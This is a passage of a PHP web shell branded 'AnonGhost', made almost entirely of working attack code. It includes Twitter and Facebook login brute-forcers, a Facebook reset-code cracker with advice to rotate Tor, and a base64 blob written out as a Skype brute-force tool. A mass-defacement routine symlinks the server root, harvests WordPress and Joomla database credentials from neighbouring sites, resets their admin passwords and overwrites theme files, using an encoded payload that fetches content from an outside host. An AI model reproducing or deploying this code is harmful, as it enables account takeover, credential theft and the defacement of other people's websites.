k1ObDYyNzBleG1WeU5Sc2pyZHRjV3o5T21BbS91Yy9wbWw3MnFQTVp4YUUxQjM0TmJGV3NCK2tuT0Nka3cweXRnQStWNy9qYmU1VmQwRGpTUHB6TDd3R3FjMm1aTnNqa2dmQ0VHaWRUMzBwanZPQVY3NkhPM0hadnpocFh1RVF0TlhvTGNKOXk3elk1Y2ZTODNhTzBIdVozTHhYTXo5U0gxZThHd2Y2QnFXVmljaVYzckdPVHNjRHh2VnpIK3cvRkVyNFRCOUsvZGorem5MaDc5Q2poYk5jYW8zWkZwNmltQ1BZQzVsWHFDL2NCelRkNmowbE9hRzMyRWRRZVFReXAzNDB0L1M1emFFam5hYjJPdmtnbEp2eC9kWTE1MHBQU0ZLZmVxUHZYeGRvbDlYRkJIWkdwUmRRN0F4ODBGMXdWMUxBRkh3c0hDdnBpbXpZcTFya0xQRWR0cVZxV3VqMjVubkkrdnliV0ttL01UZWlIb003MHV3S2R3ejZMNit5OWdOUFcvcU5uaFA3TTlFWmMrMHBUbFlsbmhYb3V3ekYrL3lxTUpPZmRvM1Y5TUdwTk1NdDFoZnZpQlgvcS9PL3IrTDFPb3Zid08zejNVNVRycFgrRy9SZldnRWVNajM3bk9uNlhSSC9IZmNaTXJQbGRvOStqV0FmNlhjWGdhOWRHektsejdwTkxqVzJSVHZGVytzZDljZG1aMzU0a2NqRTkrMitZdnZ5dWFmOGIxNm5qNVBrM2J2cTB2ZDIvLzN6OTkvYWZmLzNvUDYzNzR4dnZZZHMvYXRxMWY1ckMrL2ZQL3dFPSdceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
$file = fopen("agsky.php" ,"w+");
$write = fwrite ($file ,base64_decode($agsky)); fclose($file); chmod("agsky.php",0755); echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Skype Brute Force</span><br><div class=content><iframe src=agsky.php width=75% height=60% frameborder=0></iframe>"; }
//////////////////////  TWITER  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'twitter'))
            {
			echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Twitter Multi-Account BruteForce</span><br><br><div class=content>
<textarea cols='22' class='area' rows='14' name='username'>Username</textarea>
<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
        #function
        function brute($user,$pass)
        {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
                curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz

                # cURL - Brute Users & Password
                $login = curl_exec($ch);
                if(eregi("error notice", $login)){


                        echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font>&nbsp; Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
                }else{
                echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font>&nbsp; GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
                }
        }
        # POSTS
        $username = explode("n", $_POST['username']);
        $password = explode("n", $_POST['password']);

        # Foreach Users N' Textarea
        foreach($username as $users) {
                $users = @trim($users);
        foreach($password as $pass) {
                $pass = @trim($pass);
                brute($users,$pass); }}
        # cURL

        }
        echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker & Kaizen</font></p>";
}
//////////////////////  FACEBOOK  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'fb'))
            {
                echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook Priv8 Exploit</span><br><br><div class=content>"; ?>
<a href="?<?php echo "path=".$path; ?>&amp;x=respwdvic"><input class=bordergaya type=submit value="Reset Password Victim" /></a>
Or <a href="?<?php echo "path=".$path; ?>&amp;x=brutfbckk"><input class=bordergaya type=submit value="Facebook Multi-Account BruteForce" /></a>
<br/><br/><br/><br/>
<?php
                exit();
            }
    ////////////////////////////////////////
            ///////////////////////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'respwdvic')) {
			echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Reset Password Victim</span><br><div class=content>
<p align='center'>
<img border='0' src='https://www.techworm.net/wp-content/uploads/2015/02/Facebook-Spy-updatec_com.jpg' ></p>
<center><font color='#58FAF4'> Use Tor Switcher and Choose Threads Ip ===> 3 seconds and Good Hack ^_^</center>
<style>
/* Rounded Corners */
#ghost {
border: 1px #765942;
border-radius: 4px;
height: 250px;
width: 260px;
color: #999999; font-size: 9pt; background-color:transparent; box-shadow: 0px 0px 4px #999999;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;
}
input {
/* INPUTS */
border: 1px solid #765942;
border-radius: 4px; }
</style>
<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook 0day Exploit Reset Code Priv8</span></center><br>
<center><font color='#58FAF4'>Coded  By Mauritania Attacker</center><br>
<center><input type='text' size='40' name='id' value='Target ID' ></center><br>
<center><textarea class='area' cols='35' rows='13' name='code'></textarea><br></center> <br>
<p><center><input type='submit' value='Crack Reset Code' name='scan'><br><br></center></p>
</form>";
$target = $_POST['id'];
$user = explode("rn", $_POST['code']);
if($_POST['scan'])
{
foreach($user as $code)
{
// Curl Function ^_^
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$id}&n={$code}&_rdr");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)

$check = curl_exec($ch);
if(eregi("password_new", $check)) //Keyword Good Response ^_^
{
echo "<center><b><font face='Tahoma' size='2' color='green'>{$code} => Facebook Confirmation Code Found ^_^ </font></center></b><br>";
}
else
{
echo "<center><b><font face='Tahoma' size='2' color='red'>{$code} => Incorrect Code Trying More...</font></center></b><br>";
}
curl_close($ch);
}
}
}
////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'brutfbckk')) {
			echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook Multi-Account BruteForce</span><br><div class=content>

<center>Dont use this script without TOR BROWSER + TOR SWITCHER (set up the interval seconds from TOR SWITCHER TO 2 SECONDS)</center><br>
<p dir='ltr' align='center'>
<textarea cols='22' class='area'  rows='14' name='username'>Target Name</textarea>
<textarea cols='22' class='area'  rows='14' name='password'>Password</textarea><br>
<br>
<input type='submit' name='scan' value='Start BruteForce'><br></p><br>";
if(isset($_POST['scan'])){
#function
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Not the right one :(  || Username : <font color='red'>$user</font>&nbsp;  Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>&nbsp; Password : <font color='green'>$pass</font></font></p>";
}
}




$username = explode("n", $_POST['username']);
$password = explode("n", $_POST['password']);


foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font size='2' face='Trebuchet MS' color='#58FAF4'>Coded by: Mauritania Attacker&Noname-Hax0r&Kaizen</font></b></p></center>";
}
//////////////////////  FINDIR  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'finddir'))
    {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'><b>Find Directory Writable/Readable</span><br><div class=content>"; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>nr"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] No Access to /etc/passwdnr"; exit;} $path_to_public=array(); echo "<html>nr"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>nr";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>nr"; }}} echo "<font color=red>[+]</font> Found <font color=yellow>" . sizeof($path_to_public) . "</font> readable public_html directories.<br><br>nrnr"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=red>[+]</font> Found " . $count . " writable directories.nr"; echo "</html>"; } } elseif(isset($_GET['findir'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Find Writable Directories</b></p>"; echo '<font color=yellow size=2 face="Courier New"><b>Coming Soon</b></font>'; } elseif(isset($_GET['massdef'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mass Deface Server</b></p>"; echo "<center><textarea rows='10' cols='50'>"; $defaceurl = $_POST['massdefaceurl']; $dir = $_POST['massdefacedir']; echo $dir."n"; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if(filetype($dir.$file)=="dir"){ $newfile=$dir.$file."/index.html"; echo $newfile."n"; if (!copy($defaceurl, $newfile)) { echo "failed to copy $file...n"; }}} closedir($dh); }} echo "</textarea></center>"; ?> <br><td><form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'><center><b>Main Directory : </b><input type='text' style='width: 360px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'><br><br><b>Defacement Url : </b><input type='text' style='width: 270px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></center></form></td><?php } elseif(isset($_GET['mass'])){error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br />";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Updated Successfuly<br />";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template Updated Successfuly<br />";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor<br />";}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error<br />";}if($req1){if ($req) {$req = mysql_query("SELECT * from  `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from  `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');$hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);if($return && $hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_REFERER, $url2);curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=".$return."&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);if($hidden2) {$output.= "[+] index.php file found in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}} else {$req =mysql_query("SELECT * from  `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);if($hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);if($hidden2) {$output.= "[+] index.php file founded in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message fade">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.$co);return array('cond'=>$cond, 'output'=>$output); }function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n  AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total domains: $numero_dominios <br><br />";$def = file_get_contents($def_url);$def = urlencode($def);$dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzA5LzIxL3d3dy5yb3lhbGRldGFpbGluZy5yby8nKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos['name']!='root') {$config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count1'] = $_SESSION['count1'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config03 && preg_match('/DB_NAME/i',$config03)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config03, $dd);echo 